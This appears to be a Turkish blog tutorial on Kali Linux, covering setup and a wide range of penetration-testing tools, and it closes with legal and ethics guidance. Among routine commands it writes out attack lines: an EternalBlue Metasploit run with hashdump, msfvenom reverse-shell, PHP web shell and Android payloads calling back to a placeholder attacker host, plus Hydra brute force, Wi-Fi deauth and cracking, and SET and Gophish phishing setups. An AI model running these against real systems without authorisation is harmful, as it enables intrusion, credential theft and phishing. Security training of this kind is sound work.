Kali Linux Kullanım Rehberi: Siber Güvenlik Uzmanları İçin Kapsamlı Kılavuz

Kali Linux kurulumundan ileri seviye kullanımına kadar her şey. Türkçe detaylı rehber ile siber güvenlik araçlarını öğrenin.

13 min read
ibrahimsql
2,430 words

Kali Linux Kullanım Rehberi: Siber Güvenlik Uzmanları İçin#

Kali Linux, siber güvenlik uzmanları ve penetrasyon testi uzmanları için özel olarak tasarlanmış bir Linux dağıtımıdır. Bu kapsamlı rehberde, Kali Linux'un kurulumundan ileri seviye kullanımına kadar her şeyi öğreneceksiniz.

Kali Linux Nedir?#

Kali Linux, Debian tabanlı bir Linux dağıtımı olup, penetrasyon testi ve dijital adli tıp için özel olarak geliştirilmiştir. Offensive Security tarafından sürdürülmektedir.

Temel Özellikler#

  • 600+ Güvenlik Aracı: Önceden yüklenmiş siber güvenlik araçları
  • Düzenli Güncellemeler: Sürekli güncellenen araç seti
  • Çoklu Platform: x86, x64, ARM, Raspberry Pi desteği
  • Özelleştirilebilir: İhtiyaçlara göre yapılandırılabilir
  • Açık Kaynak: Tamamen ücretsiz ve açık kaynak

Kali Linux vs Diğer Dağıtımlar#

# Karşılaştırma tablosu Özellik | Kali Linux | Ubuntu | CentOS -----------------|------------|--------|-------- Güvenlik araçları| 600+ | Yok | Yok Pentest odaklı | Evet | Hayır | Hayır Forensic araçlar | Evet | Hayır | Hayır Günlük kullanım | Hayır | Evet | Evet Sunucu kullanımı | Hayır | Evet | Evet

Kurulum Seçenekleri#

1. Sanal Makine Kurulumu (Önerilen)#

VMware Workstation Pro#

# Sistem gereksinimleri RAM: Minimum 2GB (4GB önerilen) Depolama: 20GB boş alan İşlemci: 64-bit dual core Virtualization: BIOS'ta aktif # Kurulum adımları 1. Kali Linux ISO indir: https://www.kali.org/downloads/ 2. VMware'de yeni VM oluştur 3. ISO'yu mount et 4. Kurulum sihirbazını takip et 5. VMware Tools kurulumu

VirtualBox (Ücretsiz Alternatif)#

# VirtualBox kurulumu 1. VirtualBox indir ve kur 2. Yeni sanal makine oluştur 3. Kali Linux ISO'yu seç 4. Ağ ayarlarını yapılandır (NAT + Host-only) 5. Guest Additions kur

2. Fiziksel Kurulum#

# USB'den kurulum 1. Rufus ile bootable USB oluştur 2. BIOS'ta USB boot aktif et 3. Kali Linux kurulum menüsünü başlat 4. Disk bölümlendirme (dikkatli olun!) 5. Kurulumu tamamla # Dual boot (Windows ile) 1. Windows'ta disk alanı ayır 2. Kali Linux USB'sinden boot et 3. Manual partitioning seç 4. GRUB bootloader kur 5. Boot menüsünü test et

3. Docker Container#

# Kali Linux Docker image docker pull kalilinux/kali-rolling docker run -it kalilinux/kali-rolling /bin/bash # Araçlarla birlikte docker pull kalilinux/kali-linux-docker docker run -it --rm kalilinux/kali-linux-docker # Persistent storage ile docker run -it -v /host/path:/container/path kalilinux/kali-rolling

İlk Kurulum Sonrası Yapılandırma#

Sistem Güncellemesi#

# Repository güncellemesi sudo apt update # Sistem güncellemesi sudo apt upgrade -y # Dist upgrade (dikkatli kullanın) sudo apt dist-upgrade -y # Autoremove sudo apt autoremove -y

Temel Yapılandırmalar#

# Zsh shell kurulumu (önerilen) sudo apt install zsh zsh-syntax-highlighting zsh-autosuggestions sh -c "$(curl -fsSL https://raw.github.com/ohmyzsh/ohmyzsh/master/tools/install.sh)" # Vim yapılandırması echo "set number" >> ~/.vimrc echo "set syntax=on" >> ~/.vimrc echo "set tabstop=4" >> ~/.vimrc # Git yapılandırması git config --global user.name "Your Name" git config --global user.email "your.email@example.com" # SSH key oluşturma ssh-keygen -t rsa -b 4096 -C "your.email@example.com"

Ek Araçlar Kurulumu#

# Geliştirme araçları sudo apt install -y \ build-essential \ python3-pip \ nodejs \ npm \ golang-go \ ruby-dev # Ağ araçları sudo apt install -y \ masscan \ rustscan \ feroxbuster \ ffuf \ httpx-toolkit # Exploitation araçları sudo apt install -y \ exploitdb \ searchsploit \ msfpc \ crackmapexec # Python kütüphaneleri pip3 install \ pwntools \ ropper \ capstone \ keystone-engine \ unicorn

Temel Komutlar ve Kullanım#

Dosya Sistemi Navigasyonu#

# Temel komutlar pwd # Mevcut dizini göster ls -la # Detaylı dosya listesi cd /path/to/directory # Dizin değiştir find / -name "file" # Dosya ara locate filename # Hızlı dosya arama which command # Komut konumunu bul # Dosya işlemleri cp source dest # Dosya kopyala mv source dest # Dosya taşı/yeniden adlandır rm -rf directory # Dizin sil (dikkatli!) chmod 755 file # Dosya izinleri chown user:group file # Dosya sahipliği

Ağ Komutları#

# Ağ bilgisi ifconfig # Ağ arayüzleri ip addr show # IP adresleri route -n # Routing tablosu netstat -tulpn # Açık portlar ss -tulpn # Modern netstat # Ağ testi ping google.com # Bağlantı testi traceroute 8.8.8.8 # Route izleme nslookup domain.com # DNS sorgusu dig domain.com # Detaylı DNS

Süreç Yönetimi#

# Süreç listesi ps aux # Tüm süreçler top # Canlı süreç izleme htop # Gelişmiş süreç izleme # Süreç kontrolü kill PID # Süreç sonlandır killall process_name # İsimle süreç sonlandır nohup command & # Arka planda çalıştır screen -S session_name # Screen session tmux new -s session # Tmux session

Penetrasyon Testi Araçları#

Bilgi Toplama (Information Gathering)#

Nmap - Ağ Tarama#

# Temel tarama nmap target_ip # Hızlı tarama nmap -T4 -F target_ip # Kapsamlı tarama nmap -sS -sV -sC -O target_ip # Tüm portlar nmap -p- target_ip # UDP tarama nmap -sU target_ip # Script tarama nmap --script vuln target_ip nmap --script="smb-*" target_ip # Output formatları nmap -oA scan_results target_ip # Tüm formatlar nmap -oN normal.txt target_ip # Normal format nmap -oX xml.xml target_ip # XML format nmap -oG grep.txt target_ip # Grep format

Masscan - Hızlı Port Tarama#

# Hızlı tarama masscan -p1-65535 target_ip --rate=1000 # Belirli portlar masscan -p80,443,22,21 target_range --rate=1000 # Banner grabbing masscan -p80 target_range --banners

Phobos - Rust Tabanlı Hızlı Port Scanner#

# Temel port tarama phobos scanme.nmap.org # Belirli portları tarama phobos 192.168.1.1 -p 22,80,443,8080 # Port aralığı tarama phobos 10.0.0.1 -p 1-1000 # Tüm portları tarama phobos target.com -p 1-65535 # SYN Stealth tarama phobos 192.168.1.1 -s syn -T 4 # UDP tarama phobos target.com -s udp -T 4 # Nmap entegrasyonu ile detaylı analiz phobos target.com --nmap-args "-sV -sC -O" # Sonuçları JSON formatında kaydetme phobos target.com -o results.json --format json # Decoy tarama (IP gizleme) phobos target.com -D 192.168.1.100,192.168.1.101,ME

Web Uygulama Testi#

Gobuster - Dizin/Dosya Tarama#

# Dizin tarama gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt # Dosya uzantıları ile gobuster dir -u http://target.com -w wordlist.txt -x php,html,txt # Alt domain tarama gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt # Vhost tarama gobuster vhost -u http://target.com -w wordlist.txt

Feroxbuster - Recursive Web Scanner#

# Recursive tarama feroxbuster -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt # Derinlik sınırı feroxbuster -u http://target.com -w wordlist.txt -d 3 # Dosya uzantıları feroxbuster -u http://target.com -w wordlist.txt -x php,html,js

FFUF - Fast Web Fuzzer#

# Dizin fuzzing ffuf -w wordlist.txt -u http://target.com/FUZZ # Parameter fuzzing ffuf -w wordlist.txt -u http://target.com/page?FUZZ=value # POST data fuzzing ffuf -w wordlist.txt -u http://target.com/login -X POST -d "username=admin&password=FUZZ" # Header fuzzing ffuf -w wordlist.txt -u http://target.com -H "X-Header: FUZZ"

Nikto - Web Vulnerability Scanner#

# Temel tarama nikto -h http://target.com # SSL tarama nikto -h https://target.com -ssl # Port belirtme nikto -h target.com -p 80,443,8080 # Output formatı nikto -h target.com -o results.html -Format htm

Vulnerability Assessment#

Searchsploit - Exploit Arama#

# Exploit arama searchsploit apache 2.4 # Detaylı arama searchsploit -x 12345 # Exploit kopyalama searchsploit -m 12345 # Online arama searchsploit --www apache

Nuclei - Vulnerability Scanner#

# Nuclei kurulumu go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest # Template güncelleme nuclei -update-templates # Temel tarama nuclei -u http://target.com # Belirli template nuclei -u http://target.com -t cves/ # Severity filtreleme nuclei -u http://target.com -severity critical,high

Exploitation Framework#

Metasploit Framework#

# Metasploit başlatma msfconsole # Exploit arama search type:exploit platform:windows search cve:2021 # Exploit kullanımı use exploit/windows/smb/ms17_010_eternalblue show options set RHOSTS target_ip set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST attacker_ip exploit # Meterpreter komutları sysinfo getuid hashdump screenshot download file.txt upload shell.exe

MSFVenom - Payload Generator#

# Windows reverse shell msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=4444 -f exe -o shell.exe # Linux reverse shell msfvenom -p linux/x64/shell_reverse_tcp LHOST=attacker_ip LPORT=4444 -f elf -o shell # PHP web shell msfvenom -p php/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=4444 -f raw -o shell.php # Android APK msfvenom -p android/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=4444 -o malicious.apk # Encoder kullanımı msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o encoded.exe

Password Attacks#

Hydra - Brute Force Tool#

# SSH brute force hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target_ip # HTTP POST brute force hydra -l admin -P wordlist.txt target_ip http-post-form "/login:username=^USER^&password=^PASS^:Invalid" # FTP brute force hydra -L users.txt -P passwords.txt ftp://target_ip # RDP brute force hydra -L users.txt -P passwords.txt rdp://target_ip

John the Ripper - Password Cracking#

# Hash cracking john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt # Format belirtme john --format=NT hashes.txt # Rules kullanımı john --rules --wordlist=wordlist.txt hashes.txt # Incremental mode john --incremental hashes.txt # Show cracked passwords john --show hashes.txt

Hashcat - GPU Password Cracking#

# MD5 cracking hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt # NTLM cracking hashcat -m 1000 hashes.txt wordlist.txt # Rules kullanımı hashcat -m 0 hashes.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule # Mask attack hashcat -m 0 hashes.txt -a 3 ?d?d?d?d?d?d?d?d

Wireless Security#

Aircrack-ng Suite#

# Monitor mode aktif etme airmon-ng start wlan0 # Ağ tarama airodump-ng wlan0mon # Handshake yakalama airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon # Deauth attack aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon # WPA/WPA2 cracking aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

Reaver - WPS Attack#

# WPS tarama wash -i wlan0mon # WPS brute force reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv

Social Engineering#

SET (Social Engineering Toolkit)#

# SET başlatma setoolkit # Phishing attack 1) Social-Engineering Attacks 2) Website Attack Vectors 3) Credential Harvester Attack Method 4) Site Cloner # Payload generator 1) Social-Engineering Attacks 2) Infectious Media Generator 3) File Format Exploits

Gophish - Phishing Framework#

# Gophish kurulumu wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip unzip gophish-v0.12.1-linux-64bit.zip chmod +x gophish ./gophish # Web interface: https://localhost:3333 # Default: admin:gophish

Özel Yapılandırmalar#

Proxy Zincirleri#

# Proxychains yapılandırması sudo nano /etc/proxychains.conf # SOCKS proxy ekleme echo "socks5 127.0.0.1 9050" >> /etc/proxychains.conf # Kullanım proxychains nmap target_ip proxychains firefox

Tor Entegrasyonu#

# Tor kurulumu sudo apt install tor # Tor başlatma sudo systemctl start tor sudo systemctl enable tor # Tor ile tarama proxychains nmap -sT target_ip

VPN Yapılandırması#

# OpenVPN kurulumu sudo apt install openvpn # VPN bağlantısı sudo openvpn --config client.ovpn # Arka planda çalıştırma sudo openvpn --config client.ovpn --daemon

Güvenlik ve Gizlilik#

Sistem Güvenliği#

# Firewall yapılandırması sudo ufw enable sudo ufw default deny incoming sudo ufw default allow outgoing sudo ufw allow ssh # SSH güvenliği sudo nano /etc/ssh/sshd_config # PermitRootLogin no # PasswordAuthentication no # Port 2222 # Sistem logları sudo tail -f /var/log/auth.log sudo tail -f /var/log/syslog

Veri Şifreleme#

# LUKS disk şifreleme sudo cryptsetup luksFormat /dev/sdb1 sudo cryptsetup luksOpen /dev/sdb1 encrypted_disk sudo mkfs.ext4 /dev/mapper/encrypted_disk # Dosya şifreleme gpg --symmetric --cipher-algo AES256 file.txt gpg --decrypt file.txt.gpg

Anonim İnternet#

# Tails benzeri yapılandırma # MAC adresi değiştirme sudo macchanger -r wlan0 # DNS over HTTPS echo "nameserver 1.1.1.1" | sudo tee /etc/resolv.conf # Browser fingerprinting koruması # Firefox about:config # privacy.resistFingerprinting = true

Performans Optimizasyonu#

Sistem Optimizasyonu#

# SSD optimizasyonu echo 'tmpfs /tmp tmpfs defaults,noatime,mode=1777 0 0' | sudo tee -a /etc/fstab # Swappiness ayarı echo 'vm.swappiness=10' | sudo tee -a /etc/sysctl.conf # Kernel parametreleri echo 'net.core.rmem_max = 134217728' | sudo tee -a /etc/sysctl.conf echo 'net.core.wmem_max = 134217728' | sudo tee -a /etc/sysctl.conf

Araç Optimizasyonu#

# Nmap hızlandırma # ~/.nmap/nmap.conf echo "--min-rate=1000" >> ~/.nmap/nmap.conf echo "--max-retries=1" >> ~/.nmap/nmap.conf # Metasploit veritabanı optimizasyonu sudo msfdb init sudo msfdb start

Troubleshooting ve Sorun Giderme#

Yaygın Problemler#

# Ağ arayüzü problemleri sudo systemctl restart NetworkManager sudo dhclient -r && sudo dhclient # Repository problemleri sudo apt update --fix-missing sudo apt install -f # Broken packages sudo dpkg --configure -a sudo apt --fix-broken install # Disk alanı problemi sudo apt autoremove sudo apt autoclean sudo journalctl --vacuum-time=7d

Log Analizi#

# Sistem logları sudo dmesg | tail sudo journalctl -xe sudo tail -f /var/log/syslog # Uygulama logları sudo tail -f /var/log/apache2/error.log sudo tail -f /var/log/mysql/error.log

İleri Seviye Konular#

Custom Tool Development#

#!/usr/bin/env python3 # Simple port scanner import socket import sys from datetime import datetime def scan_port(target, port): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(1) result = sock.connect_ex((target, port)) sock.close() return result == 0 except: return False def main(): if len(sys.argv) != 2: print("Usage: python3 scanner.py <target>") sys.exit(1) target = sys.argv[1] print(f"Scanning {target}...") open_ports = [] for port in range(1, 1001): if scan_port(target, port): open_ports.append(port) print(f"Port {port}: Open") print(f"\nScan completed. Open ports: {open_ports}") if __name__ == "__main__": main()

Automation Scripts#

#!/bin/bash # Auto reconnaissance script TARGET=$1 OUTPUT_DIR="recon_$TARGET" if [ -z "$TARGET" ]; then echo "Usage: $0 <target_ip>" exit 1 fi mkdir -p $OUTPUT_DIR cd $OUTPUT_DIR echo "[+] Starting reconnaissance on $TARGET" # Nmap scans echo "[+] Running Nmap scans..." nmap -sS -sV -sC -oN nmap_initial.txt $TARGET nmap -p- -oN nmap_allports.txt $TARGET nmap -sU --top-ports 1000 -oN nmap_udp.txt $TARGET # Web enumeration echo "[+] Web enumeration..." gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirb/common.txt -o gobuster_80.txt gobuster dir -u https://$TARGET -w /usr/share/wordlists/dirb/common.txt -o gobuster_443.txt # Vulnerability scanning echo "[+] Vulnerability scanning..." nikto -h http://$TARGET -o nikto_80.txt nikto -h https://$TARGET -o nikto_443.txt echo "[+] Reconnaissance completed. Results saved in $OUTPUT_DIR"

Yasal ve Etik Konular#

Yasal Çerçeve#

# Türkiye'de siber güvenlik yasaları 1. 5651 sayılı İnternet Ortamında Yapılan Yayınların Düzenlenmesi 2. 6698 sayılı Kişisel Verilerin Korunması Kanunu 3. Türk Ceza Kanunu 243-245. maddeler 4. Bilgi Sistemlerine Girme (TCK 243) 5. Sistemi Engelleme, Bozma, Verileri Yok Etme (TCK 244)

Etik Kullanım#

  1. İzin Almadan Test Yapmayın: Sadece kendi sistemlerinizde veya yazılı izin alınan sistemlerde
  2. Zarar Vermeyin: Sistemleri çökertmeyin, veri silmeyin
  3. Gizliliği Koruyun: Elde ettiğiniz bilgileri paylaşmayın
  4. Eğitim Amaçlı: Bilginizi kötüye kullanmayın
  5. Sürekli Öğrenin: Güncel kalın ve etik değerlerinizi koruyun

Sonuç ve Öneriler#

Kali Linux, siber güvenlik uzmanları için güçlü bir araçtır. Doğru kullanıldığında, penetrasyon testi ve güvenlik değerlendirmelerinde büyük avantaj sağlar.

Başlangıç İçin Öneriler#

# İlk 30 gün planı Hafta 1: Kali Linux kurulumu ve temel komutlar Hafta 2: Nmap ve temel ağ araçları Hafta 3: Web uygulama test araçları Hafta 4: Metasploit ve exploitation # Sürekli öğrenme - TryHackMe Kali Linux room'ları - HackTheBox Academy modules - Offensive Security documentation - Kali Linux official documentation

Son Tavsiyeler#

  1. Practice Makes Perfect: Sürekli pratik yapın
  2. Stay Updated: Araçları ve sistemi güncel tutun
  3. Document Everything: Öğrendiklerinizi belgeleyin
  4. Join Communities: Kali Linux topluluklarına katılın
  5. Ethical Usage: Her zaman etik kurallara uyun

Hatırlayın: Kali Linux sadece bir araçtır. Asıl önemli olan, bu araçları doğru ve etik şekilde kullanabilmektir.


Bu rehber, Kali Linux'u öğrenmek isteyen Türk kullanıcılar için hazırlanmıştır. Güncel bilgiler ve destek için blog sayfamızı takip edebilirsiniz.

Related Posts